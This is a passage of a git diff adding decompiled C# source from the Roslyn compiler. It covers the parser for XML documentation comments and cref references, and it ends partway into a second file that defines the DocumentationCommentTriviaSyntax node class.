XmlParseErrorCode.XML_StringLiteralNoStartQuote); + } + return syntaxToken; + } + + private SyntaxToken ParseXmlAttributeEndQuote(SyntaxKind quoteKind) + { + if (IsNonAsciiQuotationMark(base.CurrentToken)) + { + return SkipNonAsciiQuotationMark(); + } + SyntaxToken syntaxToken = EatToken(quoteKind, reportError: false); + if (((GreenNode)syntaxToken).IsMissing) + { + syntaxToken = WithXmlParseError(syntaxToken, XmlParseErrorCode.XML_StringLiteralNoEndQuote); + } + return syntaxToken; + } + + private SyntaxToken SkipNonAsciiQuotationMark() + { + SyntaxToken node = SyntaxFactory.MissingToken(SyntaxKind.DoubleQuoteToken); + node = AddTrailingSkippedSyntax(node, (GreenNode)(object)EatToken()); + return WithXmlParseError(node, XmlParseErrorCode.XML_StringLiteralNonAsciiQuote); + } + + private static bool IsNonAsciiQuotationMark(SyntaxToken token) + { + if (token.Text.Length == 1) + { + return SyntaxFacts.IsNonAsciiQuotationMark(token.Text[0]); + } + return false; + } + + private XmlNameSyntax ParseXmlName() + { + SyntaxToken syntaxToken = EatToken(SyntaxKind.IdentifierToken); + XmlPrefixSyntax prefix = null; + if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + SyntaxToken syntaxToken2 = EatToken(); + int trailingTriviaWidth = ((GreenNode)syntaxToken).GetTrailingTriviaWidth(); + int leadingTriviaWidth = ((GreenNode)syntaxToken2).GetLeadingTriviaWidth(); + if (trailingTriviaWidth > 0 || leadingTriviaWidth > 0) + { + int offset = -trailingTriviaWidth; + int width = trailingTriviaWidth + leadingTriviaWidth; + syntaxToken2 = WithAdditionalDiagnostics(syntaxToken2, new XmlSyntaxDiagnosticInfo(offset, width, XmlParseErrorCode.XML_InvalidWhitespace)); + } + prefix = SyntaxFactory.XmlPrefix(syntaxToken, syntaxToken2); + syntaxToken = EatToken(SyntaxKind.IdentifierToken); + int trailingTriviaWidth2 = ((GreenNode)syntaxToken2).GetTrailingTriviaWidth(); + int leadingTriviaWidth2 = ((GreenNode)syntaxToken).GetLeadingTriviaWidth(); + if (trailingTriviaWidth2 > 0 || leadingTriviaWidth2 > 0) + { + int offset2 = -trailingTriviaWidth2; + int width2 = trailingTriviaWidth2 + leadingTriviaWidth2; + syntaxToken = WithAdditionalDiagnostics(syntaxToken, new XmlSyntaxDiagnosticInfo(offset2, width2, XmlParseErrorCode.XML_InvalidWhitespace)); + } + } + return SyntaxFactory.XmlName(prefix, syntaxToken); + } + + private XmlCommentSyntax ParseXmlComment() + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken lessThanExclamationMinusMinusToken = EatToken(SyntaxKind.XmlCommentStartToken); + LexerMode mode = SetMode(LexerMode.XmlCommentText); + SyntaxListBuilder val = _pool.Allocate(); + while (base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralToken || base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralNewLineToken || base.CurrentToken.Kind == SyntaxKind.MinusMinusToken) + { + SyntaxToken syntaxToken = EatToken(); + if (syntaxToken.Kind == SyntaxKind.MinusMinusToken) + { + syntaxToken = WithXmlParseError(syntaxToken, XmlParseErrorCode.XML_IncorrectComment); + } + val.Add(syntaxToken); + } + SyntaxList textTokens = val.ToList(); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + SyntaxToken minusMinusGreaterThanToken = EatToken(SyntaxKind.XmlCommentEndToken); + ResetMode(mode); + return SyntaxFactory.XmlComment(lessThanExclamationMinusMinusToken, textTokens, minusMinusGreaterThanToken); + } + + private XmlCDataSectionSyntax ParseXmlCDataSection() + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken startCDataToken = EatToken(SyntaxKind.XmlCDataStartToken); + LexerMode mode = SetMode(LexerMode.XmlCDataSectionText); + SyntaxListBuilder val = default(SyntaxListBuilder); + val._002Ector(10); + while (base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralToken || base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralNewLineToken) + { + val.Add(EatToken()); + } + SyntaxToken endCDataToken = EatToken(SyntaxKind.XmlCDataEndToken); + ResetMode(mode); + return SyntaxFactory.XmlCDataSection(startCDataToken, SyntaxListBuilder.op_Implicit(val), endCDataToken); + } + + private XmlProcessingInstructionSyntax ParseXmlProcessingInstruction() + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken startProcessingInstructionToken = EatToken(SyntaxKind.XmlProcessingInstructionStartToken); + LexerMode mode = SetMode(LexerMode.XmlElementTag); + XmlNameSyntax name = ParseXmlName(); + SetMode(LexerMode.XmlProcessingInstructionText); + SyntaxListBuilder val = default(SyntaxListBuilder); + val._002Ector(10); + while (base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralToken || base.CurrentToken.Kind == SyntaxKind.XmlTextLiteralNewLineToken) + { + SyntaxToken syntaxToken = EatToken(); + val.Add(syntaxToken); + } + SyntaxToken endProcessingInstructionToken = EatToken(SyntaxKind.XmlProcessingInstructionEndToken); + ResetMode(mode); + return SyntaxFactory.XmlProcessingInstruction(startProcessingInstructionToken, name, SyntaxListBuilder.op_Implicit(val), endProcessingInstructionToken); + } + + protected override SyntaxDiagnosticInfo GetExpectedTokenError(SyntaxKind expected, SyntaxKind actual, int offset, int length) + { + if (InCref) + { + SyntaxDiagnosticInfo expectedTokenError = base.GetExpectedTokenError(expected, actual, offset, length); + return new SyntaxDiagnosticInfo(expectedTokenError.Offset, expectedTokenError.Width, ErrorCode.WRN_ErrorOverride, expectedTokenError, ((DiagnosticInfo)expectedTokenError).Code); + } + if (expected == SyntaxKind.IdentifierToken) + { + return new XmlSyntaxDiagnosticInfo(offset, length, XmlParseErrorCode.XML_ExpectedIdentifier); + } + return new XmlSyntaxDiagnosticInfo(offset, length, XmlParseErrorCode.XML_InvalidToken, SyntaxFacts.GetText(actual)); + } + + protected override SyntaxDiagnosticInfo GetExpectedTokenError(SyntaxKind expected, SyntaxKind actual) + { + if (InCref) + { + GetDiagnosticSpanForMissingToken(out var offset, out var width); + return GetExpectedTokenError(expected, actual, offset, width); + } + if (expected == SyntaxKind.IdentifierToken) + { + return new XmlSyntaxDiagnosticInfo(XmlParseErrorCode.XML_ExpectedIdentifier); + } + return new XmlSyntaxDiagnosticInfo(XmlParseErrorCode.XML_InvalidToken, SyntaxFacts.GetText(actual)); + } + + private TNode WithXmlParseError(TNode node, XmlParseErrorCode code) where TNode : CSharpSyntaxNode + { + return WithAdditionalDiagnostics(node, new XmlSyntaxDiagnosticInfo(0, ((GreenNode)node).Width, code)); + } + + private TNode WithXmlParseError(TNode node, XmlParseErrorCode code, params string[] args) where TNode : CSharpSyntaxNode + { + DiagnosticInfo[] array = new DiagnosticInfo[1]; + array[0] = new XmlSyntaxDiagnosticInfo(0, ((GreenNode)node).Width, code, args); + return WithAdditionalDiagnostics(node, (DiagnosticInfo[])(object)array); + } + + private SyntaxToken WithXmlParseError(SyntaxToken node, XmlParseErrorCode code, params string[] args) + { + DiagnosticInfo[] array = new DiagnosticInfo[1]; + array[0] = new XmlSyntaxDiagnosticInfo(0, ((GreenNode)node).Width, code, args); + return WithAdditionalDiagnostics(node, (DiagnosticInfo[])(object)array); + } + + protected override TNode WithAdditionalDiagnostics(TNode node, params DiagnosticInfo[] diagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if ((int)((ParseOptions)base.Options).DocumentationMode < 2) + { + return node; + } + return base.WithAdditionalDiagnostics(node, diagnostics); + } + + private CrefSyntax ParseCrefAttributeValue() + { + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + TypeSyntax typeSyntax = ParseCrefType(typeArgumentsMustBeIdentifiers: true, checkForMember: true); + CrefSyntax crefSyntax; + if (typeSyntax == null) + { + crefSyntax = ParseMemberCref(); + } + else if (IsEndOfCrefAttribute) + { + crefSyntax = SyntaxFactory.TypeCref(typeSyntax); + } + else if (typeSyntax.Kind != SyntaxKind.QualifiedName && base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + CrefParameterListSyntax parameters = ParseCrefParameterList(); + crefSyntax = SyntaxFactory.NameMemberCref(typeSyntax, parameters); + } + else + { + SyntaxToken dotToken = EatToken(SyntaxKind.DotToken); + MemberCrefSyntax member = ParseMemberCref(); + crefSyntax = SyntaxFactory.QualifiedCref(typeSyntax, dotToken, member); + } + bool flag = !IsEndOfCrefAttribute || ((GreenNode)crefSyntax).ContainsDiagnostics; + if (!IsEndOfCrefAttribute) + { + SyntaxListBuilder val = _pool.Allocate(); + while (!IsEndOfCrefAttribute) + { + val.Add(EatToken()); + } + crefSyntax = AddTrailingSkippedSyntax(crefSyntax, val.ToListNode()); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + if (flag) + { + crefSyntax = AddError(crefSyntax, ErrorCode.WRN_BadXMLRefSyntax, ((GreenNode)crefSyntax).ToFullString()); + } + return crefSyntax; + } + + private MemberCrefSyntax ParseMemberCref() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.ThisKeyword: + return ParseIndexerMemberCref(); + case SyntaxKind.OperatorKeyword: + return ParseOperatorMemberCref(); + case SyntaxKind.ExplicitKeyword: + case SyntaxKind.ImplicitKeyword: + return ParseConversionOperatorMemberCref(); + default: + return ParseNameMemberCref(); + } + } + + private NameMemberCrefSyntax ParseNameMemberCref() + { + SimpleNameSyntax name = ParseCrefName(typeArgumentsMustBeIdentifiers: true); + CrefParameterListSyntax parameters = ParseCrefParameterList(); + return SyntaxFactory.NameMemberCref(name, parameters); + } + + private IndexerMemberCrefSyntax ParseIndexerMemberCref() + { + SyntaxToken thisKeyword = EatToken(); + CrefBracketedParameterListSyntax parameters = ParseBracketedCrefParameterList(); + return SyntaxFactory.IndexerMemberCref(thisKeyword, parameters); + } + + private OperatorMemberCrefSyntax ParseOperatorMemberCref() + { + SyntaxToken operatorKeyword = EatToken(); + SyntaxToken checkedKeyword = TryEatCheckedKeyword(isConversion: false, ref operatorKeyword); + SyntaxToken syntaxToken; + if (SyntaxFacts.IsAnyOverloadableOperator(base.CurrentToken.Kind)) + { + syntaxToken = EatToken(); + } + else + { + syntaxToken = SyntaxFactory.MissingToken(SyntaxKind.PlusToken); + GetDiagnosticSpanForMissingToken(out var offset, out var width); + if (SyntaxFacts.IsUnaryOperatorDeclarationToken(base.CurrentToken.Kind) || SyntaxFacts.IsBinaryExpressionOperatorToken(base.CurrentToken.Kind)) + { + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)EatToken()); + } + SyntaxDiagnosticInfo syntaxDiagnosticInfo = new SyntaxDiagnosticInfo(offset, width, ErrorCode.ERR_OvlOperatorExpected); + SyntaxDiagnosticInfo syntaxDiagnosticInfo2 = new SyntaxDiagnosticInfo(offset, width, ErrorCode.WRN_ErrorOverride, syntaxDiagnosticInfo, ((DiagnosticInfo)syntaxDiagnosticInfo).Code); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo2); + } + if (syntaxToken.Kind == SyntaxKind.GreaterThanToken && ((GreenNode)syntaxToken).GetTrailingTriviaWidth() == 0 && ((GreenNode)base.CurrentToken).GetLeadingTriviaWidth() == 0) + { + if (base.CurrentToken.Kind == SyntaxKind.GreaterThanToken) + { + SyntaxToken syntaxToken2 = EatToken(); + bool flag = ((GreenNode)syntaxToken2).GetTrailingTriviaWidth() == 0 && ((GreenNode)base.CurrentToken).GetLeadingTriviaWidth() == 0; + if (flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = ((kind == SyntaxKind.GreaterThanToken || kind == SyntaxKind.GreaterThanEqualsToken) ? true : false); + flag = flag2; + } + if (flag) + { + SyntaxToken syntaxToken3 = EatToken(); + if (syntaxToken3.Kind == SyntaxKind.GreaterThanToken) + { + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanGreaterThanGreaterThanToken, syntaxToken.Text + syntaxToken2.Text + syntaxToken3.Text, syntaxToken.ValueText + syntaxToken2.ValueText + syntaxToken3.ValueText, syntaxToken3.GetTrailingTrivia()); + syntaxToken = CheckFeatureAvailability(syntaxToken, MessageID.IDS_FeatureUnsignedRightShift, forceWarning: true); + } + else + { + SyntaxToken syntaxToken4 = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken, syntaxToken.Text + syntaxToken2.Text + syntaxToken3.Text, syntaxToken.ValueText + syntaxToken2.ValueText + syntaxToken3.ValueText, syntaxToken3.GetTrailingTrivia()); + syntaxToken = SyntaxFactory.MissingToken(SyntaxKind.PlusToken); + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)syntaxToken4); + int width2 = ((GreenNode)syntaxToken4).Width; + SyntaxDiagnosticInfo syntaxDiagnosticInfo3 = new SyntaxDiagnosticInfo(0, width2, ErrorCode.ERR_OvlOperatorExpected); + SyntaxDiagnosticInfo syntaxDiagnosticInfo4 = new SyntaxDiagnosticInfo(0, width2, ErrorCode.WRN_ErrorOverride, syntaxDiagnosticInfo3, ((DiagnosticInfo)syntaxDiagnosticInfo3).Code); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo4); + } + } + else + { + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanGreaterThanToken, syntaxToken.Text + syntaxToken2.Text, syntaxToken.ValueText + syntaxToken2.ValueText, syntaxToken2.GetTrailingTrivia()); + } + } + else if (base.CurrentToken.Kind == SyntaxKind.EqualsToken) + { + SyntaxToken syntaxToken5 = EatToken(); + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanEqualsToken, syntaxToken.Text + syntaxToken5.Text, syntaxToken.ValueText + syntaxToken5.ValueText, syntaxToken5.GetTrailingTrivia()); + } + else if (base.CurrentToken.Kind == SyntaxKind.GreaterThanEqualsToken) + { + SyntaxToken syntaxToken6 = EatToken(); + SyntaxToken syntaxToken7 = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanGreaterThanEqualsToken, syntaxToken.Text + syntaxToken6.Text, syntaxToken.ValueText + syntaxToken6.ValueText, syntaxToken6.GetTrailingTrivia()); + syntaxToken = SyntaxFactory.MissingToken(SyntaxKind.PlusToken); + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)syntaxToken7); + int width3 = ((GreenNode)syntaxToken7).Width; + SyntaxDiagnosticInfo syntaxDiagnosticInfo5 = new SyntaxDiagnosticInfo(0, width3, ErrorCode.ERR_OvlOperatorExpected); + SyntaxDiagnosticInfo syntaxDiagnosticInfo6 = new SyntaxDiagnosticInfo(0, width3, ErrorCode.WRN_ErrorOverride, syntaxDiagnosticInfo5, ((DiagnosticInfo)syntaxDiagnosticInfo5).Code); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo6); + } + } + CrefParameterListSyntax parameters = ParseCrefParameterList(); + return SyntaxFactory.OperatorMemberCref(operatorKeyword, checkedKeyword, syntaxToken, parameters); + } + + private SyntaxToken TryEatCheckedKeyword(bool isConversion, ref SyntaxToken operatorKeyword) + { + SyntaxToken syntaxToken = tryEatCheckedOrHandleUnchecked(ref operatorKeyword); + if (syntaxToken != null && (isConversion || SyntaxFacts.IsAnyOverloadableOperator(base.CurrentToken.Kind))) + { + syntaxToken = CheckFeatureAvailability(syntaxToken, MessageID.IDS_FeatureCheckedUserDefinedOperators, forceWarning: true); + } + return syntaxToken; + SyntaxToken tryEatCheckedOrHandleUnchecked(ref SyntaxToken reference) + { + if (base.CurrentToken.Kind == SyntaxKind.UncheckedKeyword) + { + SyntaxToken skippedSyntax = AddErrorAsWarning(EatToken(), ErrorCode.ERR_MisplacedUnchecked); + reference = AddTrailingSkippedSyntax(reference, (GreenNode)(object)skippedSyntax); + return null; + } + return TryEatToken(SyntaxKind.CheckedKeyword); + } + } + + private ConversionOperatorMemberCrefSyntax ParseConversionOperatorMemberCref() + { + SyntaxToken implicitOrExplicitKeyword = EatToken(); + SyntaxToken operatorKeyword = EatToken(SyntaxKind.OperatorKeyword); + return SyntaxFactory.ConversionOperatorMemberCref(checkedKeyword: TryEatCheckedKeyword(isConversion: true, ref operatorKeyword), type: ParseCrefType(typeArgumentsMustBeIdentifiers: false), parameters: ParseCrefParameterList(), implicitOrExplicitKeyword: implicitOrExplicitKeyword, operatorKeyword: operatorKeyword); + } + + private CrefParameterListSyntax ParseCrefParameterList() + { + return (CrefParameterListSyntax)ParseBaseCrefParameterList(useSquareBrackets: false); + } + + private CrefBracketedParameterListSyntax ParseBracketedCrefParameterList() + { + return (CrefBracketedParameterListSyntax)ParseBaseCrefParameterList(useSquareBrackets: true); + } + + private BaseCrefParameterListSyntax ParseBaseCrefParameterList(bool useSquareBrackets) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = (useSquareBrackets ? SyntaxKind.OpenBracketToken : SyntaxKind.OpenParenToken); + SyntaxKind syntaxKind2 = (useSquareBrackets ? SyntaxKind.CloseBracketToken : SyntaxKind.CloseParenToken); + if (base.CurrentToken.Kind != syntaxKind) + { + return null; + } + SyntaxToken syntaxToken = EatToken(syntaxKind); + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + try + { + while (base.CurrentToken.Kind == SyntaxKind.CommaToken || IsPossibleCrefParameter()) + { + val.Add(ParseCrefParameter()); + if (base.CurrentToken.Kind != syntaxKind2) + { + SyntaxToken syntaxToken2 = EatToken(SyntaxKind.CommaToken); + if (!((GreenNode)syntaxToken2).IsMissing || IsPossibleCrefParameter()) + { + val.AddSeparator((GreenNode)(object)syntaxToken2); + } + } + } + SyntaxToken syntaxToken3 = EatToken(syntaxKind2); + return useSquareBrackets ? ((BaseCrefParameterListSyntax)SyntaxFactory.CrefBracketedParameterList(syntaxToken, SeparatedSyntaxListBuilder.op_Implicit(ref val), syntaxToken3)) : ((BaseCrefParameterListSyntax)SyntaxFactory.CrefParameterList(syntaxToken, SeparatedSyntaxListBuilder.op_Implicit(ref val), syntaxToken3)); + } + finally + { + _pool.Free(ref val); + } + } + + private bool IsPossibleCrefParameter() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8360 <= (SyntaxKind)2 || kind == SyntaxKind.IdentifierToken) + { + return true; + } + return SyntaxFacts.IsPredefinedType(kind); + } + + private CrefParameterSyntax ParseCrefParameter() + { + SyntaxToken syntaxToken = null; + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8360 <= (SyntaxKind)2) + { + syntaxToken = EatToken(); + } + SyntaxToken readOnlyKeyword = null; + if (base.CurrentToken.Kind == SyntaxKind.ReadOnlyKeyword && syntaxToken != null) + { + if (syntaxToken.Kind != SyntaxKind.RefKeyword) + { + SyntaxToken skippedSyntax = AddErrorAsWarning(EatToken(), ErrorCode.ERR_RefReadOnlyWrongOrdering); + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)skippedSyntax); + } + else + { + readOnlyKeyword = EatToken(); + } + } + TypeSyntax type = ParseCrefType(typeArgumentsMustBeIdentifiers: false); + return SyntaxFactory.CrefParameter(syntaxToken, readOnlyKeyword, type); + } + + private SimpleNameSyntax ParseCrefName(bool typeArgumentsMustBeIdentifiers) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = EatToken(SyntaxKind.IdentifierToken); + if (base.CurrentToken.Kind != SyntaxKind.LessThanToken) + { + return SyntaxFactory.IdentifierName(identifier); + } + SyntaxToken node = EatToken(); + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + try + { + while (true) + { + TypeSyntax typeSyntax = ParseCrefType(typeArgumentsMustBeIdentifiers); + if (typeArgumentsMustBeIdentifiers && typeSyntax.Kind != SyntaxKind.IdentifierName) + { + typeSyntax = AddError(typeSyntax, ErrorCode.WRN_ErrorOverride, new SyntaxDiagnosticInfo(ErrorCode.ERR_TypeParamMustBeIdentifier), $"{81:d4}"); + } + val.Add(typeSyntax); + SyntaxKind kind = base.CurrentToken.Kind; + if (kind != SyntaxKind.CommaToken && kind != SyntaxKind.IdentifierToken && !SyntaxFacts.IsPredefinedType(base.CurrentToken.Kind)) + { + break; + } + val.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + } + SyntaxToken greaterThanToken = EatToken(SyntaxKind.GreaterThanToken); + node = CheckFeatureAvailability(node, MessageID.IDS_FeatureGenerics, forceWarning: true); + return SyntaxFactory.GenericName(identifier, SyntaxFactory.TypeArgumentList(node, SeparatedSyntaxListBuilder.op_Implicit(ref val), greaterThanToken)); + } + finally + { + _pool.Free(ref val); + } + } + + private TypeSyntax ParseCrefType(bool typeArgumentsMustBeIdentifiers, bool checkForMember = false) + { + TypeSyntax typeSyntax = ParseCrefTypeHelper(typeArgumentsMustBeIdentifiers, checkForMember); + if (!typeArgumentsMustBeIdentifiers) + { + return ParseCrefTypeSuffix(typeSyntax); + } + return typeSyntax; + } + + private TypeSyntax ParseCrefTypeHelper(bool typeArgumentsMustBeIdentifiers, bool checkForMember = false) + { + if (SyntaxFacts.IsPredefinedType(base.CurrentToken.Kind)) + { + return SyntaxFactory.PredefinedType(EatToken()); + } + NameSyntax nameSyntax; + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.ColonColonToken) + { + SyntaxToken syntaxToken = EatToken(); + if (syntaxToken.ContextualKind == SyntaxKind.GlobalKeyword) + { + syntaxToken = SyntaxParser.ConvertToKeyword(syntaxToken); + } + syntaxToken = CheckFeatureAvailability(syntaxToken, MessageID.IDS_FeatureGlobalNamespace, forceWarning: true); + SyntaxToken colonColonToken = EatToken(); + SimpleNameSyntax name = ParseCrefName(typeArgumentsMustBeIdentifiers); + nameSyntax = SyntaxFactory.AliasQualifiedName(SyntaxFactory.IdentifierName(syntaxToken), colonColonToken, name); + } + else + { + ResetPoint point = GetResetPoint(); + nameSyntax = ParseCrefName(typeArgumentsMustBeIdentifiers); + if (checkForMember && (((GreenNode)nameSyntax).IsMissing || base.CurrentToken.Kind != SyntaxKind.DotToken)) + { + Reset(ref point); + Release(ref point); + return null; + } + Release(ref point); + } + while (base.CurrentToken.Kind == SyntaxKind.DotToken) + { + ResetPoint point2 = GetResetPoint(); + SyntaxToken dotToken = EatToken(); + SimpleNameSyntax simpleNameSyntax = ParseCrefName(typeArgumentsMustBeIdentifiers); + if (checkForMember && (((GreenNode)simpleNameSyntax).IsMissing || base.CurrentToken.Kind != SyntaxKind.DotToken)) + { + Reset(ref point2); + Release(ref point2); + return nameSyntax; + } + Release(ref point2); + nameSyntax = SyntaxFactory.QualifiedName(nameSyntax, dotToken, simpleNameSyntax); + } + return nameSyntax; + } + + private TypeSyntax ParseCrefTypeSuffix(TypeSyntax type) + { + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind == SyntaxKind.QuestionToken) + { + type = SyntaxFactory.NullableType(type, EatToken()); + } + while (base.CurrentToken.Kind == SyntaxKind.AsteriskToken) + { + type = SyntaxFactory.PointerType(type, EatToken()); + } + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken) + { + OmittedArraySizeExpressionSyntax omittedArraySizeExpressionSyntax = SyntaxFactory.OmittedArraySizeExpression(SyntaxFactory.Token(SyntaxKind.OmittedArraySizeExpressionToken)); + SyntaxListBuilder val = _pool.Allocate(); + try + { + while (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken) + { + SyntaxToken openBracketToken = EatToken(); + SeparatedSyntaxListBuilder val2 = _pool.AllocateSeparated(); + try + { + while (base.CurrentToken.Kind != SyntaxKind.CloseBracketToken && base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + val2.Add((ExpressionSyntax)omittedArraySizeExpressionSyntax); + val2.AddSeparator((GreenNode)(object)EatToken()); + } + if ((val2.Count & 1) == 0) + { + val2.Add((ExpressionSyntax)omittedArraySizeExpressionSyntax); + } + SyntaxToken closeBracketToken = EatToken(SyntaxKind.CloseBracketToken); + val.Add(SyntaxFactory.ArrayRankSpecifier(openBracketToken, SeparatedSyntaxListBuilder.op_Implicit(ref val2), closeBracketToken)); + } + finally + { + _pool.Free(ref val2); + } + } + type = SyntaxFactory.ArrayType(type, SyntaxListBuilder.op_Implicit(val)); + } + finally + { + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + } + return type; + } + + private IdentifierNameSyntax ParseNameAttributeValue() + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken syntaxToken = EatToken(SyntaxKind.IdentifierToken, reportError: false); + if (!IsEndOfNameAttribute) + { + SyntaxListBuilder val = _pool.Allocate(); + while (!IsEndOfNameAttribute) + { + val.Add(EatToken()); + } + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, val.ToListNode()); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + return SyntaxFactory.IdentifierName(syntaxToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentTriviaSyntax.cs new file mode 100644 index 0000000..526b856 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentTriviaSyntax.cs @@ -0,0 +1,144 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DocumentationCommentTriviaSyntax : StructuredTriviaSyntax +{ + internal readonly GreenNode? content; + + internal readonly SyntaxToken endOfComment; + + public SyntaxList Content => new SyntaxList(content); + + public SyntaxToken EndOfComment => endOfComment; + + internal DocumentationCommentTriviaSyntax(SyntaxKind kind, GreenNode? content, SyntaxToken endOfComment, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + if (content != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(content); + this.content = content; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfComment); + this.endOfComment = endOfComment; + } + + internal DocumentationCommentTriviaSyntax(SyntaxKind kind, GreenNode? content, SyntaxToken endOfComment, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + if (content != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(content); + this.content = content; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfComment); + this.endOfComment = endOfComment; + } + + internal DocumentationCommentTriviaSyntax(SyntaxKind kind, GreenNode? content, SyntaxToken endOfComment) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + if (content != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(content); + this.content = content; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfComment); + this.endOfComment = endOfComment; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => content, + 1 => endOfComment, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DocumentationCommentTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDocumentationCommentTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDocumentationCommentTrivia(this); + } + + public 